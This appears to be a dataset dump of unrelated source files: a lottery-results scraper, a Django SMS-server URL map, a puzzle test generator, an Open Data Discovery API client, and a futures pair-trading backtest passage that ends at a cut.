+{"seq_id":"334199495","text":"\"\"\"\n网络爬虫类库\n\"\"\"\n\nimport os\nimport datetime\nimport time\nimport pickle\nimport sqlite3\n\nimport requests\nfrom pyquery import PyQuery as pq\n\nfrom config import SpiderConfig as cfg\n\n################################################################################\nclass SpiderException(Exception):\n \"\"\"爬虫异常类\"\"\"\n pass\n\n################################################################################\nclass Spider_cjcp(object):\n \"\"\"\n 彩经网3d开奖数据爬虫\n\n \"\"\"\n # 配置字典\n config = {}\n # 本地最新ID\n local_latest_id = 0\n # 网站最新ID\n web_latest_id = 0\n # 最后一次抓取的数据\n last_get_data = []\n # 最小ID\n minid = 2002001\n # 最大ID\n maxid = int(str(time.localtime()[0])+\"360\")\n\n ############################################################\n def __init__(self):\n \"\"\"构造函数\"\"\"\n # 配置\n self.config = cfg[\"cjcp\"]\n # 本地最新ID\n self.local_latest_id = self.__local_latest_id()\n # 网上最新ID\n self.web_latest_id = self.__web_latest_id()\n # 自动抓取最新数据\n if(self.config[\"isautoupdate\"]):\n self.update()\n\n ############################################################\n def get(self, urls=None, ids=None, year=None):\n \"\"\"\n 批量获取网址数据\n\n 根据条件生成总的网址列表\n\n [urls=str,list,tuple]:网址或网址列表\n [ids=int,range,list,tuple]:期数或期数列表,转化为网址列表\n [year=int]:调用配置中心的年份,转化为年份网址列表\n\n [return:list]:[{},{},{}]\n \"\"\"\n\n # 返回列表\n result = []\n\n # 总的网址列表\n urllist = []\n\n # 判断参数urls,并将网址赋值到urllist\n if(isinstance(urls, str) and urls):\n urllist.append(urls)\n elif(isinstance(urls, list) and urls):\n urllist = urls\n elif(isinstance(urls, tuple) and urls):\n urllist = list(urls)\n\n # 判断参数ids,并根据id转化为网址添加到urllist\n if(isinstance(ids, int) and self.__is_valid_id(ids)):\n urllist = urllist+self.__id_to_url(ids)\n elif(isinstance(ids, (list, tuple, range)) and ids):\n urllist = urllist+self.__id_to_url(ids)\n\n # 判断年份,生成年份网址列表,添加到urllist\n if(isinstance(year, int) and year in self.config[\"idyear\"].keys()):\n tmplist = list(\n range(self.config[\"idyear\"][year][0], self.config[\"idyear\"][year][1]))\n urllist = urllist+self.__id_to_url(tmplist)\n\n # 如果为空网址列表,则返回空列表\n if(not urllist):\n return result\n\n for url in urllist:\n if(isinstance(url, str) and url):\n try:\n # 如果抓取到数据则添加到返回列表\n tmpdata = self.__get_one_page(url)\n if(tmpdata):\n result.append(tmpdata)\n else:\n continue\n except:\n continue\n else:\n continue\n\n # 最后一次获取的数据列表\n self.last_get_data = result\n\n return result\n\n ############################################################\n def save(self, data, pkfile=None):\n \"\"\"\n 保存数据\n\n [data=list]\n [pkfile=str]\n\n [return=None]\n \"\"\"\n if(not isinstance(data, list) or not data):\n raise SpiderException(\"数据不能为空\")\n\n # 保存为pickle文件\n if(isinstance(pkfile, str) and pkfile):\n tmpfile = self.config[\"pickle\"][\"dbpath\"]+pkfile\n fw = open(tmpfile, \"wb\")\n pickle.dump(data, fw)\n fw.close()\n print(\"数据成功保存到[\"+tmpfile+\"]\")\n # 保存到sqlite数据库\n else:\n conn = sqlite3.connect(self.config[\"sqlite\"][\"dbfile\"])\n cursor = conn.cursor()\n for row in data:\n kjnum = \",\".join(map(str, row[\"kjnum\"]))\n sjnum = \",\".join(map(str, row[\"sjnum\"]))\n try:\n cursor.execute(\"insert into \"+self.config[\"sqlite\"][\"dbtable\"]+\" (id,kjnum,sjnum,kjdate,sales,zhixuan,zusan,zuliu) values (\"+str(\n row['id'])+\",'\"+kjnum+\"','\"+sjnum+\"','\"+row['date']+\"',\"+str(row['sales'])+\",\"+str(row['zhixuan'])+\",\"+str(row['zusan'])+\",\"+str(row['zuliu'])+\")\")\n except:\n continue\n conn.commit()\n cursor.close()\n conn.close()\n\n print(str(len(data))+\" 条数据成功被保存!\\n 数据库:[\"+self.config[\"sqlite\"]\n [\"dbfile\"]+\"] \\n 表:[\"+self.config[\"sqlite\"][\"dbtable\"]+\"]\")\n\n ############################################################\n def update(self):\n \"\"\"\n 自动抓取最新数据\n \"\"\"\n if(self.web_latest_id-self.local_latest_id < 100 and self.web_latest_id-self.local_latest_id > 0):\n idrange = range(self.local_latest_id+1, self.web_latest_id+1)\n data = self.get(ids=idrange)\n self.save(data)\n\n try:\n os.remove(self.config[\"pickle\"][\"dbpath\"]+\"latest_id\\\\local-\" +\n datetime.datetime.now().strftime(\"%Y-%m-%d\")+\".pk\")\n os.remove(self.config[\"pickle\"][\"dbpath\"]+\"latest_id\\\\web-\" +\n datetime.datetime.now().strftime(\"%Y-%m-%d\")+\".pk\")\n except:\n pass\n\n return\n\n ############################################################\n def __get_one_page(self, url):\n \"\"\"\n 获取单个页面开奖数据\n\n [url=str]\n [return=dict]\n {\n \"id\":int,\n \"kjnum\":str,\n \"sjnum\":str,\n \"date\":str,\n \"sales\":int,\n \"zhixuan\":int,\n \"zusan\":int,\n \"zuliu\":int,\n }\n \"\"\"\n # 输出结果\n result = {}\n\n # 是否计时\n if(self.config[\"istimer\"]):\n starttime = time.time()\n\n if(isinstance(url, str) and url):\n # 页面请求\n response = requests.get(url)\n # 只有正常连接并且网址没有跳转才继续\n if(response.status_code == 200 and response.url == url):\n\n # 页面编码\n response.encoding = self.config['encoding']\n\n # 包含有效数据的Html\n html = pq(response.text)(\"div.public_info\")\n\n # 期号\n idq = html(\"h1 em\").eq(1)\n tmpid = idq.text()\n tmpid = tmpid.replace(\"第\", \"\").replace(\"期\", \"\").strip()\n try:\n id = int(tmpid)\n # 期号不存在则返回空数据\n except:\n return result\n\n # 开奖号码\n kjq = html(\"div.public_num p span\")\n kjnum = []\n for x in kjq.items():\n kjnum.append(int(x(\"span\").text()))\n kjnum = tuple(kjnum)\n\n # 试机号\n sjq = html(\"div.public_num p em\")\n sjnum = []\n for x in sjq.items():\n sjnum.append(int(x(\"em\").text()))\n sjnum = tuple(sjnum)\n\n # 开奖日期\n date = \"\"\n dateq = html(\"ul li\").eq(1)\n date = dateq.text()\n date = date.replace(\"开奖时间:\", \"\").replace(\"20:32\", \"\").strip()\n\n # 销售额\n salesq = html(\"ul li\").eq(2)\n tmpsale = salesq.text()\n tmpsale = tmpsale.replace(\"本期销量:\", \"\").replace(\n \"元\", \"\").replace(\",\", \"\").strip()\n try:\n sales = int(tmpsale)\n except:\n sales = 0\n\n # 包含有效数据的html\n html = pq(response.text)(\"div.public_zst\")\n\n # 直选数\n zhixuanq = html(\"td\").eq(1)\n try:\n zhixuan = int(zhixuanq.text())\n except:\n zhixuan = 0\n\n # 组三数\n zusanq = html(\"td\").eq(4)\n try:\n zusan = int(zusanq.text())\n except:\n zusan = 0\n\n # 组六数\n zuliuq = html(\"td\").eq(7)\n try:\n zuliu = int(zuliuq.text())\n except:\n zuliu = 0\n\n # 返回的数据字典\n result[\"id\"] = id\n result[\"kjnum\"] = kjnum\n result[\"sjnum\"] = sjnum\n result[\"date\"] = date\n result[\"sales\"] = sales\n result[\"zhixuan\"] = zhixuan\n result[\"zusan\"] = zusan\n result[\"zuliu\"] = zuliu\n\n # 是否计时以及打印数据\n if(self.config[\"istimer\"]):\n endtime = time.time()\n usetime = endtime-starttime\n print(url+\" ====> \" + format(usetime, \"0.4f\") + \"s\")\n if(self.config[\"isprint\"]):\n print(result)\n else:\n print(url)\n if(self.config[\"isprint\"]):\n print(result)\n\n return result\n\n ############################################################\n def __url_to_id(self, url):\n \"\"\"\n 根据网址获取期数\n 将网址公共部分替换掉,就剩下期数\n\n [url=str]\n [return=int]\n\n \"\"\"\n result = 0\n rstr = self.config[\"baseurl\"].split('{id}')\n if(isinstance(url, str) and url):\n idstr = url.replace(rstr[0], \"\").replace(rstr[1], \"\")\n try:\n result = int(idstr)\n except:\n return result\n else:\n return result\n return result\n\n ############################################################\n def __id_to_url(self, ids):\n \"\"\"\n 根据期数获取网址\n 将基准网址中的占位符替换为期数\n\n [ids=int,list,range,tuple]\n [return=list]\n \"\"\"\n\n # 返回列表\n result = []\n\n # 期数列表\n idlist = []\n\n # 根据参数获取期数列表\n if(isinstance(ids, int)):\n idlist.append(ids)\n elif(isinstance(ids, list)):\n idlist = ids\n elif(isinstance(ids, (range, tuple))):\n idlist = list(ids)\n\n # 如何列表不为空就将符合条件的期数转化为网址\n if(idlist):\n for id in idlist:\n if(self.__is_valid_id(id)):\n result.append(\n self.config[\"baseurl\"].replace(\"{id}\", str(id)))\n else:\n continue\n return result\n else:\n return result\n\n ############################################################\n def __is_valid_id(self, id):\n \"\"\"\n 判断是否是有效的ID\n\n [id=int]:最小值为minid,最大值为maxid;后三位数字在0-360之间\n [return=bool]\n\n \"\"\"\n if(isinstance(id, int)):\n # 在最小与最大值之间\n if(id >= self.minid and id <= self.maxid):\n # 后三位在1~360之间\n tmpid = int(str(id)[-3:])\n if(tmpid >= 1 and tmpid <= 360):\n return True\n else:\n return False\n else:\n return False\n # 非数字类型先试着转换为数字类型,在执行本函数\n else:\n try:\n tmpid = int(id)\n return self.__is_valid_id(tmpid)\n except:\n return False\n\n ############################################################\n def __local_latest_id(self):\n \"\"\"\n 数据库中最新期数\n\n 先看本地是否有保存,有就直接读取,没有就从数据库中获取;\n 本地文件按日期生成,每天最多从数据库只获取一次数据 \n\n [return=int] \n \"\"\"\n\n # 返回数字\n result = 0\n\n # 保存数据库最新期数的文件\n idfile = self.config[\"pickle\"][\"dbpath\"]+\"latest_id\\\\local-\" + \\\n datetime.datetime.now().strftime(\"%Y-%m-%d\")+\".pk\"\n\n # 如果本地文件存在就从本地文件读取\n if(os.path.isfile(idfile)):\n fr = open(idfile, \"rb\")\n result = pickle.load(fr)\n fr.close()\n # 如果本地文件不存在,就从数据库获取,并保存到本地\n else:\n # sql语句\n sql_code = \"select id from \" + \\\n self.config[\"sqlite\"][\"dbtable\"] + \" order by id desc limit 1\"\n\n # 连接数据库获取数据\n conn = sqlite3.connect(self.config[\"sqlite\"][\"dbfile\"])\n cursor = conn.cursor()\n cursor.execute(sql_code)\n result = cursor.fetchone()[0]\n cursor.close()\n conn.close()\n\n # 保存数据到本地\n fw = open(idfile, \"wb\")\n pickle.dump(result, fw)\n fw.close()\n\n return result\n\n ############################################################\n def __web_latest_id(self):\n \"\"\"\n 获取网上最新期数\n\n 先看本地是否有保存,有就直接读取,没有就从网上获取;\n 本地文件按日期生成,每天最多从网上只获取一次数据\n\n [return=int]\n \"\"\"\n # 返回数字\n result = 0\n\n # 保存网上最新期数的文件,\n idfile = self.config[\"pickle\"][\"dbpath\"]+\"latest_id\\\\web-\" + \\\n datetime.datetime.now().strftime(\"%Y-%m-%d\")+\".pk\"\n\n # 如果本地文件存在就从本地文件读取\n if(os.path.isfile(idfile)):\n fr = open(idfile, \"rb\")\n result = pickle.load(fr)\n fr.close()\n # 如果本地文件不存在,就从网上获取,并保存到本地\n else:\n # 获取数据的网址\n url = self.config[\"homeurl\"]\n # 发送请求\n response = requests.get(url)\n # 如果连接正常且没有跳转则可以获取数据\n if(response.status_code == 200 and response.url == url):\n # 页面编码\n response.encoding = self.config[\"encoding\"]\n html = pq(response.text)(\"div.kj_num\")\n idq = html(\"h1 em\").eq(1)\n tmpid = idq.text()\n tmpid = tmpid.replace(\"第\", \"\").replace(\"期\", \"\").strip()\n try:\n result = int(tmpid)\n except:\n raise SpiderException(\"网址无法收集到有效数据:[\"+url+\"]\")\n else:\n raise SpiderException(\"网址无效:[\"+url+\"]\")\n\n # 保存到本地\n fw = open(idfile, \"wb\")\n pickle.dump(result, fw)\n fw.close()\n\n return result\n","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":15449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"594035638","text":"# Prints the sum of the large elements in the array\nimport sys\n\nn = int(input().strip())\narr = [int(arr_temp) for arr_temp in input().strip().split(' ')]\n\nresult = 0\nfor i in arr:\n result += i\nprint (result)\n","sub_path":"Algorithms/3_A_Very_Big_Sum/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"475757528","text":"from django.conf.urls import patterns, url\nfrom smsserver import views\n\nurlpatterns = patterns('',\n url(r'^user/$', views.login_user, name='login_user'),\n url(r'^user/ping/$', views.ping_user, name='ping_user'),\n url(r'^user/logout/$', views.logout_user, name='logout_user'),\n url(r'^user/settings/$', views.set_user_settings, name='set_user_settings'),\n url(r'^device/$', views.get_device, name='get_device'),\n url(r'^device/register/$', views.register_device, name='register_device'),\n url(r'^device/update/$', views.update_device, name='update_device'),\n url(r'^sms/$', views.get_sms, name='get_sms'),\n url(r'^sms/threads/$', views.get_threads, name='get_threads'),\n url(r'^sms/add/$', views.add_sms, name='add_sms'),\n url(r'^sms/add/sync/$', views.sync_sms, name='sync_sms'),\n url(r'^sms/delete/', views.delete_sms, name='delete_sms'),\n url(r'^sms/update/', views.update_sms, name='update_sms'),\n url(r'^sms/send/$', views.send_sms, name='send_sms'),\n url(r'^contacts/', views.get_contacts, name='get_contacts'),\n url(r'^contacts/add/$', views.add_contact, name='add_contact'),\n url(r'^contacts/delete/', views.delete_contact, name='delete_contact'),\n url(r'^contacts/update/', views.update_contact, name='update_contact'),\n )","sub_path":"smsserver_project/smsserver/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"80342404","text":"#!/usr/bin/env python3\nimport random\nimport string\n\nrandom.seed(1337)\n\nwith open('words.txt', 'r') as f:\n words = f.read().strip().split('\\n')\n\ntestcase_index = 1\ndef testcase(words):\n global testcase_index\n words = list(words)\n random.shuffle(words)\n with open('secret/%02d.in' % testcase_index, 'w') as f:\n f.write('%d\\n' % len(words))\n for word in words:\n f.write('%s\\n' % word)\n with open('secret/%02d.ans' % testcase_index, 'w') as f:\n f.write('\\n')\n testcase_index += 1\n\ndef strings(n, alpha):\n words = []\n for i in range(min(n, len(alpha)**5)):\n cur = i\n word = ''\n for j in range(5):\n word += alpha[cur % len(alpha)]\n cur = cur // len(alpha)\n words.append(word)\n return words\n\ndef random_strings(n, alpha):\n words = set()\n while len(words) < min(n, len(alpha)**5):\n word = ''\n for i in range(5):\n word += random.choice(alpha)\n words.add(word)\n return list(words)\n\n# n <= 10 (30%)\n\nfor _ in range(10):\n random.shuffle(words)\n testcase(words[:10])\ntestcase(sorted(words)[:10])\ntestcase(sorted(words)[-10:])\ntestcase(strings(10, 'ab'))\ntestcase(strings(10, 'xyz'))\ntestcase(strings(10, 'pqrs'))\ntestcase(strings(10, 'coeui'))\ntestcase(strings(10, string.ascii_lowercase))\ntestcase(random_strings(10, 'ab'))\ntestcase(random_strings(10, 'xyz'))\ntestcase(random_strings(10, 'pqrs'))\nfor _ in range(10):\n testcase(random_strings(10, string.ascii_lowercase))\n\nassert testcase_index <= 31\n\n# n <= 100 (50%)\n\nfor l in range(20, 100, 21):\n random.shuffle(words)\n testcase(words[:l])\nfor _ in range(6):\n random.shuffle(words)\n testcase(words[:100])\nfor l in [25, 60, 100]:\n testcase(sorted(words)[:l])\n testcase(sorted(words)[-l:])\n testcase(strings(l, 'ab'))\n testcase(strings(l, 'xyz'))\n testcase(strings(l, 'pqrs'))\n testcase(strings(l, 'coeui'))\n testcase(strings(l, string.ascii_lowercase))\n testcase(random_strings(l, 'ab'))\n testcase(random_strings(l, 'xyz'))\n testcase(random_strings(l, 'pqrs'))\nfor l in range(20, 100, 21):\n testcase(random_strings(l, string.ascii_lowercase))\nfor _ in range(6):\n testcase(random_strings(100, string.ascii_lowercase))\n\nassert testcase_index <= 81\n\n# n = 500 (20%)\n\nfor _ in range(5):\n random.shuffle(words)\n testcase(words[:500])\ntestcase(sorted(words)[:500])\ntestcase(sorted(words)[-500:])\ntestcase(strings(500, 'ab'))\ntestcase(strings(500, 'xyz'))\ntestcase(strings(500, 'pqrs'))\ntestcase(strings(500, 'coeui'))\ntestcase(strings(500, string.ascii_lowercase))\ntestcase(random_strings(500, 'ab'))\ntestcase(random_strings(500, 'xyz'))\ntestcase(random_strings(500, 'pqrs'))\nfor _ in range(5):\n testcase(random_strings(500, string.ascii_lowercase))\n\nassert testcase_index == 101\n\n","sub_path":"2022/problems/ordla/data/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"604334008","text":"from tkinter import PhotoImage\nfrom os import name\n\n\nclass Aspecto:\n def __init__(self, master=None):\n master.geometry('600x400')\n master.grid_columnconfigure(1, weight=1)\n master.grid_rowconfigure(1, weight=1)\n if name == 'nt':\n master.iconbitmap('arquivos/icone.ico')\n else:\n img = PhotoImage(file='arquivos/icone.gif')\n master.tk.call('wm', 'iconphoto', master._w, img)\n","sub_path":"aspecto.py","file_name":"aspecto.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"570958143","text":"import os\nfrom functools import wraps\nfrom typing import Any, Optional\n\nfrom requests import HTTPError\n\nfrom odd_models.api_client.open_data_discovery_ingestion_api import ODDApiClient\nfrom odd_models.models import (\n CompactDataEntityList,\n DataEntityList,\n DataSource,\n DataSourceList,\n)\n\nfrom .errors import (\n CreateDataSourceError,\n CreateTokenError,\n EmptyHostError,\n EmptyTokenError,\n GetDegChildrenError,\n IngestionEntitiesError,\n)\n\n\ndef provide_token(method):\n @wraps(method)\n def inner(*args, **kwargs):\n client: Client = args[0]\n if client._token is None:\n raise EmptyTokenError()\n\n headers = kwargs.get(\"headers\") or {}\n headers[\"Authorization\"] = f\"Bearer {client._token}\"\n kwargs[\"headers\"] = headers\n\n return method(*args, **kwargs)\n\n return inner\n\n\ndef with_header(name: str, value: str):\n def wrapper(method):\n @wraps(method)\n def wrapped(*args, **kwargs):\n headers = kwargs.get(\"headers\") or {}\n headers[name] = value\n kwargs[\"headers\"] = headers\n return method(*args, **kwargs)\n\n return wrapped\n\n return wrapper\n\n\nclass Client:\n create_token_endpoint = \"/api/collectors\"\n\n def __init__(self, host: str = None, token: str = None) -> None:\n self._host = host or os.getenv(\"ODD_PLATFORM_HOST\", None)\n self._token = token or os.getenv(\"ODD_PLATFORM_TOKEN\", None)\n\n if self._host is None:\n raise EmptyHostError()\n\n self._client = ODDApiClient(self._host)\n\n def auth(self, *, name: str, description: Optional[str]) -> None:\n token = self.create_token(name=name, description=description)\n self._token = token\n\n def get_data_entities_by_deg_oddrn(self, oddrn: str) -> CompactDataEntityList:\n headers = {\"Authorization\": f\"Bearer {self._token}\"}\n response = self._client.get_data_entities_by_deg_oddrn(\n oddrn=oddrn, headers=headers\n )\n\n try:\n response.raise_for_status()\n return CompactDataEntityList.parse_raw(response.json())\n except HTTPError as e:\n message = e.response.json().get(\"message\")\n raise GetDegChildrenError(oddrn, message) from e\n\n def create_token(self, *, name: str, description: Optional[str]) -> str:\n \"\"\"Request for creating token\n\n Args:\n name (str): name\n description (Optional[str]): Optional description\n\n Returns:\n str: created token\n \"\"\"\n data = {\"name\": name, \"description\": description}\n response = self._client.post(self.create_token_endpoint, data=data)\n\n try:\n response.raise_for_status()\n return response.json().get(\"token\").get(\"value\")\n except HTTPError as e:\n message = e.response.json().get(\"message\")\n raise CreateTokenError(message) from e\n\n @provide_token\n @with_header(\"content-type\", \"application/json\")\n def create_data_source(\n self,\n *,\n data_source_oddrn: str,\n data_source_name: str,\n headers: dict[Any, str] = None,\n ) -> None:\n data = DataSourceList(\n items=[DataSource(oddrn=data_source_oddrn, name=data_source_name)]\n )\n response = self._client.create_data_source(data=data, headers=headers)\n\n try:\n response.raise_for_status()\n except HTTPError as e:\n message = e.response.json().get(\"message\")\n raise CreateDataSourceError(\n data_source_name, data_source_oddrn, message\n ) from e\n\n @provide_token\n @with_header(\"content-type\", \"application/json\")\n def ingest_data_entity_list(\n self, *, data_entities: DataEntityList, headers: dict[Any, str] = None\n ) -> None:\n data = data_entities\n response = self._client.post_data_entity_list(data=data, headers=headers)\n\n try:\n response.raise_for_status()\n except HTTPError as e:\n message = e.response.json().get(\"message\")\n raise IngestionEntitiesError(\n data_entities.data_source_oddrn, message\n ) from e\n","sub_path":"odd_models/api_client/v2/odd_api_client.py","file_name":"odd_api_client.py","file_ext":"py","file_size_in_byte":4221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"447976178","text":"from sys import path\npath.append('/work/rqiao/HFdata')\nfrom mewp.simulate.wrapper import PairAlgoWrapper\nfrom mewp.simulate.runner import PairRunner\nfrom mewp.math.simple import SimpleMoving\nfrom mewp.util.clock import Clock\nfrom mewp.data.order import OrderType\nfrom mewp.simulate.report import MasterReport\nfrom mewp.simulate.report import Report\nfrom mewp.reader.futuresqlite import SqliteReaderDce\nfrom mewp.util.futures import get_day_db_path\nfrom mewp.util.pair_trade_analysis import TradeAnalysis\nfrom joblib import Parallel, delayed\nimport datetime\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport itertools\nimport pickle\nimport os\nDATA_PATH = '/work/rqiao/HFdata/dockfuture'\nmarket = 'shfe'\n\ndef get_contract_list(market, contract):\n return os.listdir(DATA_PATH + '/' + market + '/' + contract)\n\ndef get_position(contract, date, DATA_PATH):\n # create a dictionary, where date is the key\n try:\n reader = SqliteReaderDce(get_day_db_path(DATA_PATH, contract, date))\n raw = reader.read_tick()\n result = int(raw['Position'].tail(1))\n except Exception:\n result = 0\n return result\n\ndef get_best_pair(date, market, contract):\n #input a date(format: '2016-01-01'), return the best pair of contract\n cont_list = get_contract_list(market, contract)\n score = []\n for i, c in enumerate(cont_list):\n score.append(get_position(c, date, DATA_PATH))\n if sum(score) == 0:\n return 0\n max_idx = np.argmax(score)\n score[max_idx] = 0\n second_max_idx = np.argmax(score)\n return (cont_list[max_idx], cont_list[second_max_idx])\n\nclass Autoregressive(object):\n ## Constructor\n # @param alpha for ema\n def __init__(self, alpha):\n self.alpha = alpha\n\n # computed\n self.mean = 0\n\n ## add a new observation, and refresh\n def add(self, observe):\n if (self.mean == 0):\n self.mean = observe\n else:\n self.mean = self.mean + self.alpha * (observe - self.mean)\n\n# Max position within 1\nclass StopWinAlgo(PairAlgoWrapper):\n\n # called when algo param is set\n def param_updated(self):\n # make sure parent updates its param\n super(StopWinAlgo, self).param_updated()\n\n # algo settings\n self.if_ema = self.param['if_ema'] # if false, use sma\n self.if_stop_win = self.param['if_stop_win'] #if false, don't stop win\n self.if_consider_spread = self.param['if_consider_spread'] #if false, don't consider spread and fee\n\n # create rolling\n self.long_roll = SimpleMoving(size=self.param['rolling'])\n self.short_roll = SimpleMoving(size=self.param['rolling'])\n self.long_autoreg = Autoregressive(alpha = self.param['alpha'])\n self.short_autoreg = Autoregressive(alpha = self.param['alpha'])\n self.spreadx_roll = SimpleMoving(size = self.param['rolling'])\n self.spready_roll = SimpleMoving(size = self.param['rolling'])\n\n self.bollinger = self.param['bollinger']\n self.block = self.param['block']\n self.stop_win = self.param['stop_win']\n\n #other params\n self.last_long_res = -999\n self.last_short_res = -999\n\n #records\n self.records = {'timestamp': [], 'longs': [], 'shorts': [],\n 'long_mean': [], 'short_mean': [],\n 'long_sd': [], 'short_sd':[]}\n\n #tracker\n self.tracker = TradeAnalysis(self.pair.x)\n\n # what to do on every tick\n def on_tick(self, multiple, contract, info):\n\n self.tracker.tick_pass_by() # tell the tracker that one tick passed by\n # skip if price_table doesnt have both\n if len(self.price_table.table) < 2:\n return\n\n # get residuals and position\n long_res = self.pair.get_long_residual()\n short_res = self.pair.get_short_residual()\n pos = self.position_y()\n\n ## only do this when plotting is neede\n #update record\n# if self.if_ema:\n# self._update_record(long_res, self.autoreg.mean, self.long_roll.sd,\\\n# short_res, self.autoreg.mean, self.short_roll.sd)\n# else:\n# self._update_record(long_res, self.long_roll.mean, self.long_roll.sd,\\\n# short_res, self.short_roll.mean, self.short_roll.sd)\n\n #calculate profit for this round\n profit = 0\n if pos == -1:\n profit = long_res + self.last_short_res\n elif pos == 1:\n profit = short_res + self.last_long_res\n\n #two spread\n spreadx = self.spreadx_roll.mean\n spready = self.spready_roll.mean\n avg_spread = (spreadx + spready)/2\n\n #fee\n fee = self.pair.get_fee()\n\n # stop short position\n if self.if_stop_win:\n if pos == -1:\n if (profit >= max(1, self.stop_win * self.long_roll.sd) and self.if_consider_spread == False) \\\n or (profit >= max(1, self.stop_win * self.long_roll.sd, fee) and self.if_consider_spread == True):\n self.long_y(y_qty = 1)\n self.last_long_res = long_res\n self.tracker.close_with_stop(profit)\n return\n\n # stop long position\n if pos == 1:\n if (profit >= max(1, self.stop_win * self.long_roll.sd) and self.if_consider_spread == False) \\\n or (profit >= max(1, self.stop_win * self.long_roll.sd, fee) and self.if_consider_spread == True):\n self.short_y(y_qty = 1)\n self.last_short_res = short_res\n self.tracker.close_with_stop(profit)\n return\n\n # open or close position\n # action only when unblocked: bock size < rolling queue size\n if self.long_roll.queue.qsize() > self.block:\n # long when test long_res > mean+bollinger*sd\n if (long_res > self.long_autoreg.mean + self.bollinger * self.long_roll.sd \\\n and self.if_ema == True and self.if_consider_spread == False) \\\n or (self.long_roll.test_sigma(long_res, self.bollinger) \\\n and self.if_ema == False and self.if_consider_spread == False) \\\n or (long_res - self.long_autoreg.mean > max(fee + avg_spread, self.bollinger * self.long_roll.sd) \\\n and self.if_ema == True and self.if_consider_spread == True) \\\n or (self.long_roll.test_sigma(long_res, self.bollinger) \\\n and long_res - self.long_roll.mean > fee + avg_spread \\\n and self.if_ema == False and self.if_consider_spread == True): \\\n # only long when position is 0 or -1\n if pos <= 0:\n self.long_y(y_qty=1)\n self.last_long_res = long_res\n\n #tell the tracker\n if pos == 0:\n self.tracker.open_position()\n else:\n self.tracker.close_with_exit(profit)\n\n return\n\n # short when test short_res > mean+bollinger*sd\n elif (short_res > self.short_autoreg.mean + self.bollinger * self.short_roll.sd \\\n and self.if_ema == True and self.if_consider_spread == False) \\\n or (self.short_roll.test_sigma(short_res, self.bollinger) \\\n and self.if_ema == False and self.if_consider_spread == False) \\\n or (short_res - self.short_autoreg.mean > max(fee + avg_spread, self.bollinger * self.short_roll.sd) \\\n and self.if_ema == True and self.if_consider_spread == True) \\\n or (self.short_roll.test_sigma(short_res, self.bollinger) \\\n and short_res - self.short_roll.mean > fee + avg_spread \\\n and self.if_ema == False and self.if_consider_spread == True): \\\n # only short when position is 0 or 1\n if pos >= 0:\n self.short_y(y_qty=1)\n self.last_short_res = short_res\n\n #tell the tracker\n if pos == 0:\n self.tracker.open_position()\n else:\n self.tracker.close_with_exit(profit)\n\n return\n else:\n pass\n\n\n # update rolling\n self.long_roll.add(long_res)\n self.short_roll.add(short_res)\n self.long_autoreg.add(long_res)\n self.short_autoreg.add(short_res)\n self.spreadx_roll.add(self.pair.get_spread_x())\n self.spready_roll.add(self.pair.get_spread_y())\n\n def on_daystart(self, date, info_x, info_y):\n # recreate rolling at each day start\n self.long_roll = SimpleMoving(size=self.param['rolling'])\n self.short_roll = SimpleMoving(size=self.param['rolling'])\n self.long_autoreg = Autoregressive(alpha = self.param['alpha'])\n self.short_autoreg = Autoregressive(alpha = self.param['alpha'])\n self.spreadx_roll = SimpleMoving(size = self.param['rolling'])\n self.spready_roll = SimpleMoving(size = self.param['rolling'])\n\n def on_dayend(self, date, info_x, info_y):\n #force close on day end\n pos = self.position_y()\n # stop short position\n if pos == -1:\n self.long_y(y_qty = 1)\n return\n\n # stop long position\n if pos == 1:\n self.short_y(y_qty = 1)\n return\n\n def _update_record(self, long_res, long_mean, long_std, short_res, short_mean, short_std):\n self.records['timestamp'].append(Clock.timestamp)\n self.records['longs'].append(long_res)\n self.records['shorts'].append(short_res)\n self.records['long_mean'].append(long_mean)\n self.records['short_mean'].append(short_mean)\n self.records['long_sd'].append(long_std)\n self.records['short_sd'].append(short_std)\n\ndef back_test(pair, date, param):\n algo = { 'class': StopWinAlgo }\n algo['param'] = {'x': pair[0],\n 'y': pair[1],\n 'a': 1,\n 'b': 0,\n 'rolling': param[0],\n 'alpha': -1,\n 'bollinger': param[1],\n 'stop_win': param[2],\n 'block': 100,\n\n 'if_stop_win': True,\n 'if_ema': False,\n 'if_consider_spread': True,\n }\n settings = { 'date': date,\n 'path': DATA_PATH,\n 'tickset': 'top',\n 'algo': algo}\n runner = PairRunner(settings)\n runner.run()\n account = runner.account\n history = account.history.to_dataframe(account.items)\n score = float(history[['pnl']].iloc[-1])\n return score\n\ndef run_simulation(param, date_list):\n pnl_list = []\n for date in date_list:\n date_pair = get_best_pair(date,market, 'al')\n if type(date_pair) != tuple:\n continue\n else:\n pnl_list.append(back_test(date_pair, date, param))\n return pnl_list\n\ndate_list = [str(x).split(' ')[0] for x in pd.date_range('2015-01-01','2016-03-31').tolist()]\nroll_list = np.arange(1000, 4100, 1000)\nsd_list = np.arange(1, 4.1, 0.5)\nstop_win_list = np.arange(2,11)\n\nnum_cores = 20\n#get trade_day_list\ntrade_day_list = []\nfor date in date_list:\n date_pair = get_best_pair(date,market, 'al')\n if type(date_pair) != tuple:\n continue\n else:\n trade_day_list.append(date)\n\npars = list(itertools.product(roll_list, sd_list, stop_win_list))\nresults = Parallel(n_jobs=num_cores)(delayed(run_simulation)(param,\\\n date_list) for param in pars)\nkeys = ['roll:{}_sd:{}_stopwin:{}'.format(*p) for p in pars]\ndictionary = dict(zip(keys, results))\nresult = pd.DataFrame(dictionary)\nresult.index = 